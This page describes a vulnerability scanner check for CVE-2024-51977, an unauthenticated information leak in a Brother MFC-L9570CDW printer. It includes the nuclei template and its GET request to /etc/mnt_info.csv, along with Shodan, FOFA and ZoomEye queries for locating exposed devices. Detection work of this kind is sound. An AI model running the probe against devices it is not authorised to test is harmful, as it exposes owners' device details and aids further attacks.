Browse / CVEs / CVE-2024-51977
CVE-2024-51977
Brother MFC-L9570CDW - Information Disclosure
An unauthenticated attacker who can access either the HTTP service (TCP port 80), the HTTPS service (TCP port 443), or the IPP service (TCP port 631), can leak several pieces of sensitive information from a vulnerable device. The URI path /etc/mnt_info.csv can be accessed via a GET request and no authentication is required. The returned result is a comma separated value (CSV) table of information. The leaked information includes the device’s model, firmware version, IP address, and serial number.
Impact
Attackers can exploit this vulnerability to compromise system security.
Fix
Apply security patches to address CVE-2024-51977.
How to confirm it
Send: GET {{BaseURL}}/etc/mnt_info.csv
Positive when: contains "\"Model Name\"" and "\"IP Address\"" AND status_code == 200 and contains(content_type, "text/comma-separated-values")Run it with nuclei: nuclei -id CVE-2024-51977 -u <target>
The full check
id: CVE-2024-51977
info:
name: Brother MFC-L9570CDW - Information Disclosure
author: DhiyaneshDK,iamnoooob,darses
severity: medium
description: |
An unauthenticated attacker who can access either the HTTP service (TCP port 80), the HTTPS service (TCP port 443), or the IPP service (TCP port 631), can leak several pieces of sensitive information from a vulnerable device. The URI path /etc/mnt_info.csv can be accessed via a GET request and no authentication is required. The returned result is a comma separated value (CSV) table of information. The leaked information includes the device’s model, firmware version, IP address, and serial number.
impact: |
Attackers can exploit this vulnerability to compromise system security.
remediation: |
Apply security patches to address CVE-2024-51977.
reference:
- https://github.com/sfewer-r7/BrotherVulnerabilities/blob/main/CVE-2024-51977.rb
classification:
epss-score: 0.4663
epss-percentile: 0.98831
metadata:
verified: true
max-request: 1
shodan-query: html:"MFC-L9570CDW"
fofa-query:
- app="brother-Printer"
zoomeye-query:
- device="brother-Printer" || app="brother-Printer"
tags: cve,cve2024,brother,mfc,printer,exposure,vkev,intrusive,vuln
http:
- method: GET
path:
- "{{BaseURL}}/etc/mnt_info.csv"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"Model Name"'
- '"IP Address"'
condition: and
- type: dsl
dsl:
- "status_code == 200"
- 'contains(content_type, "text/comma-separated-values")'
condition: andReferences
Use this check only on systems you are authorised to test. Where the data comes from